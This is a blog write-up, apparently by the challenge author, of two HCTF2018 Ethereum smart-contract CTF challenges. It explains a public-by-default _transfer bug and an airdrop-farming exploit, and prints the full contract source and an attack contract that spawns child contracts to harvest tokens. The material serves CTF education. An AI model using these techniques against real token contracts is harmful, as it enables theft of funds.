

LoRexxar's Blog | 信息技术分享

LoRexxar's Blog | 信息技术分享

HCTF2018智能合约两则Writeup



HCTF2018智能合约两则Writeup

contract 智能合约

 2018/11/12   Share

• 
• 
• 
• 
• 

这次比赛为了顺应潮流，HCTF出了3道智能合约的题目，其中1道是逆向，2道是智能合约的代码审计题目。

ez2win是一份标准的合约代币，在一次审计的过程中我发现，如果某些私有函数没有加上private，可以导致任意转账，是个蛮有意思的问题，但也由于太简单，所以想给大家opcode，大家自己去逆，由于源码及其简单，逆向难度不会太大，但可惜没有一个人做出来，被迫放源码，再加上这题本来就简单，重放流量可以抄作业，有点儿可惜。

bet2loss是我在审计dice2win类源码的时候发现的问题，但出题的时候犯傻了，在出题的时候想到如果有人想用薅羊毛的方式去拿flag也挺有意思的，所以故意留了transfer接口给大家，为了能让这个地方合理，我就把发奖也改用了transfer，结果把我预期的重放漏洞给修了…

bet2loss这题在服务端用web3.py，客户端用metamask+web3.js完成，在开发过程中，还经历了metamask的一次大更新，写好的代码忽然就跑不了了，换了新的api接口…简直历经磨难。

这次比赛出题效果不理想，没想到现在的智能合约大环境有这么差，在之前wctf大师赛的时候，duca出的一道智能合约题目超复杂，上百行的合约都被从opcode逆了出来，可这次没想到没人做得到，有点儿可惜。不管智能合约以后会不会成为热点，但就目前而言，合约的安全层面还处于比较浅显的级别，对于安全从业者来说，不断走在开发前面不是一件好事吗？

下面的所有题目都布在ropsten上，其实是为了参赛者体验好一点儿，毕竟要涉及到看events和源码。有兴趣还可以去看。

ez2win

0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten
D2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as you like.
only winner can get more than 10000000, but no one can do it.

function PayForFlag(string b64email) public payable returns (bool success){
    require (_balances[msg.sender] > 10000000);
      emit GetFlag(b64email, "Get flag!");
  }

hint1:you should recover eht source code first. and break all eht concepts you've already hold 
hint2: now open source for you, and its really ez

sloved：15
score：527.78

ez2win，除了漏洞点以外是一份超级标准的代币合约，加上一个单词，你也可以用这份合约去发行一份属于自己的合约代币。

让我们来看看代码

pragma solidity ^0.4.24;

/**
 * @title ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/20
 */
interface IERC20 {
  function totalSupply() external view returns (uint256);

  function balanceOf(address who) external view returns (uint256);

  function allowance(address owner, address spender)
    external view returns (uint256);

  function transfer(address to, uint256 value) external returns (bool);

  function approve(address spender, uint256 value)
    external returns (bool);

  function transferFrom(address from, address to, uint256 value)
    external returns (bool);

  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value
  );

  event Approval(
    address indexed owner,
    address indexed spender,
    uint256 value
  );

  event GetFlag(
    string b64email,
    string back
  );
}

/**
 * @title SafeMath
 * @dev Math operations with safety checks that revert on error
 */
library SafeMath {

  /**
  * @dev Multiplies two numbers, reverts on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b);

    return c;
  }

  /**
  * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b > 0); // Solidity only automatically asserts when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
  * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b <= a);
    uint256 c = a - b;

    return c;
  }

  /**
  * @dev Adds two numbers, reverts on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a);

    return c;
  }
}

/**
 * @title Standard ERC20 token
 *
 * @dev Implementation of the basic standard token.
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
 */
contract ERC20 is IERC20 {
  using SafeMath for uint256;

  mapping (address => uint256) public _balances;

  mapping (address => mapping (address => uint256)) public _allowed;

  mapping(address => bool) initialized;

  uint256 public _totalSupply;
  
  uint256 public constant _airdropAmount = 10;

  /**
  * @dev Total number of tokens in existence
  */
  function totalSupply() public view returns (uint256) {
    return _totalSupply;
  }

  /**
  * @dev Gets the balance of the specified address.
  * @param owner The address to query the balance of.
  * @return An uint256 representing the amount owned by the passed address.
  */
  function balanceOf(address owner) public view returns (uint256) {
    return _balances[owner];
  }
  
  // airdrop
  function AirdropCheck() internal returns (bool success){
     if (!initialized[msg.sender]) {
            initialized[msg.sender] = true;
            _balances[msg.sender] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
  }

  /**
   * @dev Function to check the amount of tokens that an owner allowed to a spender.
   * @param owner address The address which owns the funds.
   * @param spender address The address which will spend the funds.
   * @return A uint256 specifying the amount of tokens still available for the spender.
   */
  function allowance(
    address owner,
    address spender
   )
    public
    view
    returns (uint256)
  {
    return _allowed[owner][spender];
  }

  /**
  * @dev Transfer token for a specified address
  * @param to The address to transfer to.
  * @param value The amount to be transferred.
  */
  function transfer(address to, uint256 value) public returns (bool) {
    AirdropCheck();
    _transfer(msg.sender, to, value);
    return true;
  }

  /**
   * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
   * Beware that changing an allowance with this method brings the risk that someone may use both the old
   * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
   * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   * @param spender The address which will spend the funds.
   * @param value The amount of tokens to be spent.
   */
  function approve(address spender, uint256 value) public returns (bool) {
    require(spender != address(0));

    AirdropCheck();
    _allowed[msg.sender][spender] = value;
    return true;
  }

  /**
   * @dev Transfer tokens from one address to another
   * @param from address The address which you want to send tokens from
   * @param to address The address which you want to transfer to
   * @param value uint256 the amount of tokens to be transferred
   */
  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool)
  {
    require(value <= _allowed[from][msg.sender]);
    AirdropCheck();

    _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
    _transfer(from, to, value);
    return true;
  }

  /**
  * @dev Transfer token for a specified addresses
  * @param from The address to transfer from.
  * @param to The address to transfer to.
  * @param value The amount to be transferred.
  */
  function _transfer(address from, address to, uint256 value) {
    require(value <= _balances[from]);
    require(to != address(0));

    _balances[from] = _balances[from].sub(value);
    _balances[to] = _balances[to].add(value);
  }
}

contract D2GBToken is ERC20 {

  string public constant name = "D2GBToken";
  string public constant symbol = "D2GBToken";
  uint8 public constant decimals = 18;

  uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

  /**
  * @dev Constructor that gives msg.sender all of existing tokens.
  */
  constructor() public {
    _totalSupply = INITIAL_SUPPLY;
    _balances[msg.sender] = INITIAL_SUPPLY;
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
  }


  //flag
  function PayForFlag(string b64email) public payable returns (bool success){
    
    require (_balances[msg.sender] > 10000000);
      emit GetFlag(b64email, "Get flag!");
  }
}

每个用户都会空投10 D2GBToken作为初始资金，合约里基本都是涉及到转账的函数，常用的转账函数是

function transfer(address to, uint256 value) public returns (bool) {
  AirdropCheck();
  _transfer(msg.sender, to, value);
  return true;
}

function transferFrom(address from, address to, uint256 value) public returns (bool) {
  require(value <= _allowed[from][msg.sender]);
  AirdropCheck();

  _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
  _transfer(from, to, value);
  return true;
}

可见，transfer默认指定了msg.sender作为发信方，无法绕过。

transferFrom触发转账首先需要用approvel授权，这是一个授权函数，只能转账授权额度，也不存在问题。

唯一的问题就是

function _transfer(address from, address to, uint256 value) {
  require(value <= _balances[from]);
  require(to != address(0));

  _balances[from] = _balances[from].sub(value);
  _balances[to] = _balances[to].add(value);
}

在solidity中，未定义函数权限的，会被部署为public，那么这个原本的私有函数就可以被任意调用，直接调用_transfer从owner那里转账过来即可。

bet2loss

bet2loss是我在审计dice2win类源码的时候发现的问题，可惜出题失误了，这里主要讨论非预期解吧。

Description 
0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source 

D2GBToken is onsale. Now New game is coming.
We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.

solved: 5
score: 735.09

我们来看看代码，这次附上带有注释版本的

pragma solidity ^0.4.24;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that revert on error
 */
library SafeMath {

	/**
	* @dev Multiplies two numbers, reverts on overflow.
	*/
	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
		// benefit is lost if 'b' is also tested.
		// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
		if (a == 0) {
			return 0;
		}

		uint256 c = a * b;
		require(c / a == b);

		return c;
	}

	/**
	* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
	*/
	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		require(b > 0); // Solidity only automatically asserts when dividing by 0
		uint256 c = a / b;
		// assert(a == b * c + a % b); // There is no case in which this doesn't hold

		return c;
	}

	/**
	* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
	*/
	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		require(b <= a);
		uint256 c = a - b;

		return c;
	}

	/**
	* @dev Adds two numbers, reverts on overflow.
	*/
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a);

		return c;
	}
}

/**
 * @title Standard ERC20 token
 *
 * @dev Implementation of the basic standard token.
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
 */
contract ERC20{
	using SafeMath for uint256;

	mapping (address => uint256) public balances;

	uint256 public _totalSupply;

	/**
	* @dev Total number of tokens in existence
	*/
	function totalSupply() public view returns (uint256) {
		return _totalSupply;
	}

	/**
	* @dev Gets the balance of the specified address.
	* @param owner The address to query the balance of.
	* @return An uint256 representing the amount owned by the passed address.
	*/
	function balanceOf(address owner) public view returns (uint256) {
		return balances[owner];
	}

	function transfer(address _to, uint _value) public returns (bool success){
    	balances[msg.sender] = balances[msg.sender].sub(_value);
    	balances[_to] = balances[_to].add(_value);
    	
    	return true;
  	}
}

contract B2GBToken is ERC20 {

	string public constant name = "test";
	string public constant symbol = "test";
	uint8 public constant decimals = 18;
	uint256 public constant _airdropAmount = 1000;

	uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

	mapping(address => bool) initialized;
	/**
	* @dev Constructor that gives msg.sender all of existing tokens.
	*/
	constructor() public {
		initialized[msg.sender] = true;
		_totalSupply = INITIAL_SUPPLY;
		balances[msg.sender] = INITIAL_SUPPLY;
	}

	// airdrop
	function AirdropCheck() internal returns (bool success){
		 if (!initialized[msg.sender]) {
            initialized[msg.sender] = true;
            balances[msg.sender] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
	}
}

// 主要代码
contract Bet2Loss is B2GBToken{
		/// *** Constants section

		// Bets lower than this amount do not participate in jackpot rolls (and are
		// not deducted JACKPOT_FEE).
		uint constant MIN_JACKPOT_BET = 0.1 ether;

		// There is minimum and maximum bets.
		uint constant MIN_BET = 1;
		uint constant MAX_BET = 100000;

		// Modulo is a number of equiprobable outcomes in a game:
		//	- 2 for coin flip
		//	- 6 for dice
		//	- 6*6 = 36 for double dice
		//	- 100 for etheroll
		//	- 37 for roulette
		//	etc.
		// It's called so because 256-bit entropy is treated like a huge integer and
		// the remainder of its division by modulo is considered bet outcome.
		uint constant MAX_MODULO = 100;

		// EVM BLOCKHASH opcode can query no further than 256 blocks into the
		// past. Given that settleBet uses block hash of placeBet as one of
		// complementary entropy sources, we cannot process bets older than this
		// threshold. On rare occasions dice2.win croupier may fail to invoke
		// settleBet in this timespan due to technical issues or extreme Ethereum
		// congestion; such bets can be refunded via invoking refundBet.
		uint constant BET_EXPIRATION_BLOCKS = 250;

		// Some deliberately invalid address to initialize the secret signer with.
		// Forces maintainers to invoke setSecretSigner before processing any bets.
		address constant DUMMY_ADDRESS = 0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C;

		// Standard contract ownership transfer.
		address public owner;
		address private nextOwner;

		// Adjustable max bet profit. Used to cap bets against dynamic odds.
		uint public maxProfit;

		// The address corresponding to a private key used to sign placeBet commits.
		address public secretSigner;

		// Accumulated jackpot fund.
		uint128 public jackpotSize;

		// Funds that are locked in potentially winning bets. Prevents contract from
		// committing to bets it cannot pay out.
		uint128 public lockedInBets;

		// A structure representing a single bet.
		struct Bet {
				// Wager amount in wei.
				uint betnumber;
				// Modulo of a game.
				uint8 modulo;
				// Block number of placeBet tx.
				uint40 placeBlockNumber;
				// Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment).
				uint40 mask;
				// Address of a gambler, used to pay out winning bets.
				address gambler;
		}

		// Mapping from commits to all currently active & processed bets.
		mapping (uint => Bet) bets;

		// Events that are issued to make statistic recovery easier.
		event FailedPayment(address indexed beneficiary, uint amount);
		event Payment(address indexed beneficiary, uint amount);

		// This event is emitted in placeBet to record commit in the logs.
		event Commit(uint commit);

		event GetFlag(
			string b64email,
			string back
		);

		// Constructor. Deliberately does not take any parameters.
		constructor () public {
				owner = msg.sender;
				secretSigner = DUMMY_ADDRESS;
		}

		// Standard modifier on methods invokable only by contract owner.
		modifier onlyOwner {
				require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
				_;
		}

		// See comment for "secretSigner" variable.
		function setSecretSigner(address newSecretSigner) external onlyOwner {
				secretSigner = newSecretSigner;
		}

		/// *** Betting logic

		// Bet states:
		//	amount == 0 && gambler == 0 - 'clean' (can place a bet)
		//	amount != 0 && gambler != 0 - 'active' (can be settled or refunded)
		//	amount == 0 && gambler != 0 - 'processed' (can clean storage)
		//
		//	NOTE: Storage cleaning is not implemented in this contract version; it will be added
		//				with the next upgrade to prevent polluting Ethereum state with expired bets.

		// Bet placing transaction - issued by the player.
		//	betMask				 - bet outcomes bit mask for modulo <= MAX_MASK_MODULO,
		//										[0, betMask) for larger modulos.
		//	modulo					- game modulo.
		//	commitLastBlock - number of the maximum block where "commit" is still considered valid.
		//	commit					- Keccak256 hash of some secret "reveal" random number, to be supplied
		//										by the dice2.win croupier bot in the settleBet transaction. Supplying
		//										"commit" ensures that "reveal" cannot be changed behind the scenes
		//										after placeBet have been mined.
		//	r, s						- components of ECDSA signature of (commitLastBlock, commit). v is
		//										guaranteed to always equal 27.
		//
		// Commit, being essentially random 256-bit number, is used as a unique bet identifier in
		// the 'bets' mapping.
		//
		// Commits are signed with a block limit to ensure that they are used at most once - otherwise
		// it would be possible for a miner to place a bet with a known commit/reveal pair and tamper
		// with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than
		// placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details.
		function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external payable {
				// betmask是赌的数
				// modulo是总数/倍数
				// commitlastblock 最后一个能生效的blocknumber
				// 随机数签名hash， r, s

				// airdrop
				AirdropCheck();

				// Check that the bet is in 'clean' state.
				Bet storage bet = bets[commit];
				require (bet.gambler == address(0), "Bet should be in a 'clean' state.");

				// check balances > betmask
				require (balances[msg.sender] >= betnumber, "no more balances");

				// Validate input data ranges.
				require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
				require (betMask >= 0 && betMask < modulo, "Mask should be within range.");
				require (betnumber > 0 && betnumber < 1000, "BetNumber should be within range.");
				

				// Check that commit is valid - it has not expired and its signature is valid.
				require (block.number <= commitLastBlock, "Commit has expired.");
				bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
				require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");

				// Winning amount and jackpot increase.
				uint possibleWinAmount;

				possibleWinAmount = getDiceWinAmount(betnumber, modulo);

				// Lock funds.
				lockedInBets += uint128(possibleWinAmount);

				// Check whether contract has enough funds to process this bet.
				require (lockedInBets <= balances[owner], "Cannot afford to lose this bet.");


				balances[msg.sender] = balances[msg.sender].sub(betnumber);
				// Record commit in logs.
				emit Commit(commit);

				// Store bet parameters on blockchain.
				bet.betnumber = betnumber;
				bet.modulo = uint8(modulo);
				bet.placeBlockNumber = uint40(block.number);
				bet.mask = uint40(betMask);
				bet.gambler = msg.sender;
		}

		// This is the method used to settle 99% of bets. To process a bet with a specific
		// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
		// "commit". it
		// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
		function settleBet(uint reveal) external {
				AirdropCheck();

				uint commit = uint(keccak256(abi.encodePacked(reveal)));

				Bet storage bet = bets[commit];
				uint placeBlockNumber = bet.placeBlockNumber;

				// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
				require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
				require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");

				// Settle bet using reveal as entropy sources.
				settleBetCommon(bet, reveal);
		}


		// Common settlement code for settleBet & settleBetUncleMerkleProof.
		function settleBetCommon(Bet storage bet, uint reveal) private {
				// Fetch bet parameters into local variables (to save gas).
				uint betnumber = bet.betnumber;
				uint mask = bet.mask;
				uint modulo = bet.modulo;
				uint placeBlockNumber = bet.placeBlockNumber;
				address gambler = bet.gambler;

				// Check that bet is in 'active' state.
				require (betnumber != 0, "Bet should be in an 'active' state");

				// The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners
				// are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256
				// preimage is intractable), and house is unable to alter the "reveal" after
				// placeBet have been mined (as Keccak256 collision finding is also intractable).
				bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));

				// Do a roll by taking a modulo of entropy. Compute winning amount.
				uint dice = uint(entropy) % modulo;

				uint diceWinAmount;
				diceWinAmount = getDiceWinAmount(betnumber, modulo);

				uint diceWin = 0;

				if (dice == mask){
					diceWin = diceWinAmount;
				}

				// Unlock the bet amount, regardless of the outcome.
				lockedInBets -= uint128(diceWinAmount);

				// Send the funds to gambler.
				sendFunds(gambler, diceWin == 0 ? 1 wei : diceWin , diceWin);
		}

		// Get the expected win amount after house edge is subtracted.
		function getDiceWinAmount(uint amount, uint modulo) private pure returns (uint winAmount) {
			winAmount = amount * modulo;
		}

		// 付奖金
		function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
			transfer(beneficiary, amount);
			emit Payment(beneficiary, successLogAmount);
		}
		//flag
		function PayForFlag(string b64email) public payable returns (bool success){
		
			require (balances[msg.sender] > 10000000);
			emit GetFlag(b64email, "Get flag!");
		}
}

这是一个比较经典的赌博合约，用的是市面上比较受认可的hash-reveal-commit模式来验证随机数。在之前的dice2win分析中，我讨论过这个制度的合理性，除非选择终止，否则可以保证一定程度的公平。

https://lorexxar.cn/2018/10/18/dice2win-safe/

代码比较长，我在修改dice2win的时候还留了很多无用代码，可以不用太纠结。流程大致如下：

1、在页面中点击下注

2、后端生成随机数，然后签名，饭后commit, r, s, v

# 随机数
reveal = random_num()
result['commit'] = "0x"+sha3.keccak_256(bytes.fromhex(binascii.hexlify(reveal.to_bytes(32, 'big')).decode('utf-8'))).hexdigest()

# web3获取当前blocknumber
result['commitLastBlock'] = w3.eth.blockNumber + 250

message = binascii.hexlify(result['commitLastBlock'].to_bytes(32,'big')).decode('utf-8')+result['commit'][2:]
message_hash = '0x'+sha3.keccak_256(bytes.fromhex(message)).hexdigest()

signhash = w3.eth.account.signHash(message_hash, private_key=private_key)

result['signature'] = {}
result['signature']['r'] = '0x' + binascii.hexlify((signhash['r']).to_bytes(32,'big')).decode('utf-8')
result['signature']['s'] = '0x' + binascii.hexlify((signhash['s']).to_bytes(32,'big')).decode('utf-8')

result['signature']['v'] = signhash['v']

3、回到前端，web3.js配合返回的数据，想meta发起交易，交易成功被打包之后向后台发送请求settlebet。

4、后端收到请求之后对该commit做开奖

transaction = bet2loss.functions.settleBet(int(reveal)).buildTransaction(
    {'chainId': 3, 'gas': 70000, 'nonce': nonce, 'gasPrice': w3.toWei('1', 'gwei')})

signed = w3.eth.account.signTransaction(transaction, private_key)

result = w3.eth.sendRawTransaction(signed.rawTransaction)

5、开奖成功

在这个过程中，用户得不到随机数，服务端也不能对随机数做修改，这就是现在比较常用的hash-reveal-commit随机数生成方案。

整个流程逻辑比较严谨。但有一个我预留的问题，空投。

在游戏中，我设定了每位参赛玩家都会空投1000个D2GB，而且没有设置上限，如果注册10000个账号，然后转账给一个人，那么你就能获得相应的token，这个操作叫薅羊毛，曾经出过不少这样的事情。

https://paper.seebug.org/646/

这其中有些很有趣的操作，首先，如果你一次交易一次交易去跑，加上打包的时间，10000次基本上不可能。

所以新建一个合约，然后通过合约来新建合约转账才有可能实现。

这其中还有一个很有趣的问题，循环新建合约，在智能合约中是一个消耗gas很大的操作。如果一次交易耗费的gas过大，那么交易就会失败，它就不会被打包。

简单的测试可以发现，大约50次循环左右gas刚好够用。攻击代码借用了@sissel的

pragma solidity ^0.4.20;
contract Attack_7878678 {
//    address[] private son_list;

    function Attack_7878678() payable {}

    function attack_starta(uint256 reveal_num) public {
        for(int i=0;i<=50;i++){
            son = new Son(reveal_num);
        }
    }

    function () payable {
    }
}

contract Son_7878678 {

    function Son_7878678(uint256 reveal_num) payable {
        address game = 0x006b9bc418e43e92cf8d380c56b8d4be41fda319;
        game.call(bytes4(keccak256("settleBet(uint256)")),reveal_num);
        game.call(bytes4(keccak256("transfer(address,uint256)")),0x5FA2c80DB001f970cFDd388143b887091Bf85e77,950);
    }
    function () payable{
    }
}

跑个200次就ok了

原文作者：LoRexxar

原文链接：https://lorexxar.cn/2018/11/12/hctf2019_contract_wp/

发表日期：November 12th 2018, 4:25:35 pm

更新日期：September 29th 2020, 2:11:23 pm

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

• Next Post
  HCTF2018部分Web题目Writeup
• Previous Post
  “以太坊智能合约编码隐患”影响分析报告

Powered by Hexotheme Archer

PV: :)

CATALOG

1. 1. ez2win
2. 2. bet2loss

• Archive
• Tag
• Cate

Total : 205

2023

• 12/18 人与代码的桥梁-聊聊SAST
• 11/21 Joern In RealWorld (3) - 致远OA A8 SSRF2RCE
• 10/26 Joern In RealWorld (2) - Jumpserver随机数种子泄露导致账户劫持漏洞（CVE-2023-42820）
• 10/20 深入浅出Joern（四）不常用语法大全
• 08/31 Joern In RealWorld (1) - Acutators + CVE-2022-21724
• 08/24 深入浅出Joern（三）Joern和Neo4j常用语法大全
• 08/22 深入浅出Joern（二）CPG与图数据库
• 08/21 深入浅出Joern（一）Joern与CPG是什么？
• 07/19 打造自己的AIGC应用（一）入门篇
• 06/21 赛博偶像速成指南（三）- Midjourney
• 06/02 赛博偶像速成指南（二）- SD进阶篇
• 05/25 从0到1的ChatGPT - 进阶篇（五）- Embeddings
• 05/19 从0到1的ChatGPT - 进阶篇（四）- 训练自己的ChatGPT
• 05/08 看上去不起眼的微信机器人以及公众号爬虫
• 04/28 从0到1的ChatGPT - 进阶篇（三）- ChatGPT+？
• 04/26 从0到1的ChatGPT - 入门篇（二） - 如何与ChatGPT对话？
• 04/14 从0到1的ChatGPT - 入门篇
• 02/21 赛博偶像速成指南

2022

• 11/02 CS Xss2Rce CVE-2022-39197分析与复现
• 04/14 SCA的困境和出路
• 03/21 人生的第二个可能~

2021

• 12/10 log4j2 JNDI注入漏洞速通~
• 08/17 DevSecOps 究竟需要怎样的白盒？
• 08/17 从0开始入门Chrome Ext安全（三） -- 你所未知的角落 - Chrome Ext安全
• 08/06 区块链安全罪与罚 -- 浅谈区块链与安全发展史
• 05/19 创宇四年
• 04/16 反制Webdriver - 从Bot到RCE进发
• 03/09 通达OA代码审计篇二 - 11.8 后台Getshell
• 03/03 通达OA代码审计篇 - 11.7 有条件的任意命令执行
• 02/05 如何自动化挖掘php反序列化链 - phpunserializechain诞生记
• 01/28 为被动扫描器量身打造一款爬虫-LSpider

2020

• 10/30 构造一个CodeDB来探索全新的白盒静态扫描方案
• 09/21 从0开始聊聊自动化静态代码审计工具
• 07/14 Geekpwn 2020云端挑战赛 Noxss & umsg
• 07/08 从反序列化到类型混淆漏洞 -- 记一次ecshop实例利用
• 06/10 Roundcube mail 3 Xss
• 05/29 Roundcube mail代码审计笔记
• 05/11 空指针-Base on windows Writeup -- 最新版DZ3.4实战渗透
• 02/03 从0开始入门Chrome Ext安全（番外篇） -- Zoomeye Tools
• 01/14 CSS-T | Mysql Client 任意文件读取攻击链拓展

2019

• 12/30 pwnhub 被污染的Jade
• 12/05 从0开始入门Chrome Ext安全（二） -- 安全的Chrome Ext
• 11/22 从0开始入门Chrome Ext安全（一） -- 了解一个Chrome Ext
• 10/25 PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析
• 09/23 从零开始学java web - struts2 RCE分析
• 07/23 CVE-2019-11229详细分析 --git config可控-RCE
• 07/10 Redis 基于主从复制的RCE利用方式
• 06/12 Mybb 18.20 From Stored XSS to RCE 分析
• 05/28 MIMIC Defense CTF 2019 final writeup
• 04/19 Drupal 1-click to RCE分析
• 03/14 聊聊WordPress 5.1.1 CSRF to RCE漏洞
• 02/22 Wordpress 5.0 RCE详细分析

2018

• 12/07 Discuz x3.4前台SSRF分析
• 12/07 Code Breaking挑战赛 Writeup
• 12/01 以太坊智能合约审计CheckList
• 11/20 LCTF2018 ggbank 薅羊毛实战
• 11/16 从DVP GAME到变量覆盖问题
• 11/14 HCTF2018部分Web题目Writeup
• 11/12 HCTF2018智能合约两则Writeup
• 11/08 “以太坊智能合约编码隐患”影响分析报告
• 10/18 智能合约游戏之殇——Dice2win安全分析
• 09/25 “以太坊智能合约编码设计问题”影响分析报告
• 09/14 blockwell.ai 虚假转账 事件分析
• 09/06 “以太坊智能合约编码安全问题”影响分析报告
• 08/24 智能合约游戏之殇-类Fomo3D攻击分析
• 08/22 “以太坊智能合约设计缺陷问题”影响分析报告
• 08/14 “以太坊智能合约规范问题”影响分析报告
• 07/13 wctf2018 cyber mimic defence Writeup
• 05/31 0CTF/TCTF2018 Final Web Writeup
• 05/23 RCTF2018 Web Writeup
• 04/20 基于Service Worker 的XSS攻击面拓展
• 04/17 TCTF/0CTF2018 h4x0rs.space Writeup
• 04/10 TCTF/0CTF2018 h4xors.club2 Writeup
• 04/05 TCTF/0CTF2018 部分Web Writeup
• 04/05 TCTF/0CTF2018 XSS bl0g Writeup
• 03/26 强网杯2018 Web writeup
• 02/23 吐槽HCTF2017
• 02/07 从补丁到漏洞分析 --记一次joomla漏洞应急
• 01/19 DeDeCMS v5.7 密码修改漏洞分析
• 01/02 34c3 Web部分Writeup

2017

• 12/19 WordPress Updraftplus 插件漏洞2则以及一些有趣的故事
• 11/15 HCTF2017 babycrack Writeup
• 11/15 HCTF2017-Deserted place-Writeup
• 11/15 HCTF2017-A World Restored-Writeup
• 11/10 HITCON2017-writeup整理
• 10/26 typecho前台getshell漏洞分析
• 10/25 前端防御从入门到弃坑--CSP变迁
• 10/25 WordPress安全架构分析
• 09/30 Discuz!X 3.4 任意文件删除漏洞分析
• 08/31 阿里先知xss挑战赛 Writeup
• 08/31 Discuz_X authkey安全性漏洞分析
• 08/23 从瑞士军刀到变形金刚--XSS攻击面拓展
• 08/15 pwnhub 改行做前端
• 07/26 finecms分析
• 07/23 xssgame writeup
• 07/20 FineCMS multi vulnerablity before v5.0.9
• 07/11 Some Vulnerability for FineCMS through 2017.7.11
• 07/11 第十届信息安全国赛 Web MISC writeup
• 07/07 WordPress WP Statistics authenticated xss Vulnerability(WP Statistics <=12.0.9)
• 06/16 0ctf2017 final
• 05/23 RCTF2017 web writeup
• 05/16 通过浏览器缓存来bypass CSP script nonce
• 05/12 PlaidCTF 2017 web writeup
• 05/12 xss bot从入门到弃坑
• 05/09 CSP Is Dead, Long Live CSP! 翻译
• 04/24 pwnhub 绝对防御 出题思路和反思
• 04/21 Shadow Brokers大新闻整理
• 04/21 360春秋杯2017 writeup
• 04/18 bctf2017 web部分wp
• 03/27 pwnhub 之小m的复仇
• 03/21 0ctf201 web部分writeup
• 03/13 NJCTF Web部分writeup
• 03/05 pwnhub_another php web部分
• 02/27 zctf2017 writeup
• 02/20 pwnhub 打开电脑
• 02/16 有趣的cdn bypass CSP
• 01/26 聊聊hctf2016
• 01/17 pwnhub 深入敌后
• 01/03 33c32016 writeup

2016

• 12/28 phpmailer RCE漏洞分析
• 12/26 pwnhub_迷
• 12/24 浅谈xss的后台守护问题
• 12/18 pwnhub_找朋友
• 12/18 pwnhub_拍卖行
• 12/10 pwnhub_WTF_writeup
• 12/07 using polyglot JPEGs bypass CSP 分析
• 12/03 通过redis getshell的一些小问题
• 12/01 hctf2016 简单部分WEB && misc writeup
• 11/30 hctf2016 guestbook&secret area writeup
• 11/29 HCTF2016 ATField writeup
• 11/19 hctf2016 giligili writeup
• 10/31 CSP进阶-302 Bypass CSP
• 10/28 CSP进阶-link Bypass unsafe line
• 10/26 什么是ctf呢？
• 10/11 hitcon2016 misc writeup
• 10/10 hitcon2016 web writeup
• 10/03 L-ctf2016 Writeup
• 09/14 php 伪协议
• 09/11 华山杯2016_writeup
• 08/29 crypto 简单的RSA
